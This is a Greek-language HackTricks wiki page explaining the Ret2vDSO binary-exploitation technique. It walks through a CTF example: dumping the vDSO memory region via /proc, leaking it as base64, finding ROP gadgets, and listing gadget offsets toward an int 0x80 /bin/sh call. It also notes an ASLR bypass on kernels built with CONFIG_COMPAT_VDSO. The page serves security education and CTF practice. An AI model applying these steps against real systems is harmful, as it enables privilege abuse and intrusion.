Ret2vDSO

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Μπορεί να υπάρχουν gadgets στην περιοχή vDSO, η οποία χρησιμοποιείται για τη μετάβαση από τη λειτουργία χρήστη στη λειτουργία πυρήνα. Σε αυτού του τύπου τις προκλήσεις, συνήθως παρέχεται μια εικόνα πυρήνα για να γίνει απορρόφηση της περιοχής vDSO.

Ακολουθώντας το παράδειγμα από https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ είναι δυνατόν να δούμε πώς ήταν δυνατόν να γίνει απορρόφηση της ενότητας vdso και να μεταφερθεί στον κεντρικό υπολογιστή με:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

Βρέθηκαν ROP gadgets:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Σημειώστε λοιπόν πώς είναι δυνατόν να παρακάμψετε το ASLR καταχρώμενοι το vdso εάν το πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO καθώς η διεύθυνση vdso δεν θα είναι τυχαία: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Μετά την απορρόφηση και έλεγχο της ενότητας vdso ενός δυαδικού στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κάποιο ενδιαφέρον gadget (καμία δυνατότητα να ελέγξω τους καταχωρητές από τιμές στη στοίβα ή να ελέγξω το x30 για ένα ret) εκτός από έναν τρόπο να καλέσω ένα SROP. Ελέγξτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα:

pageSROP - ARM64
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated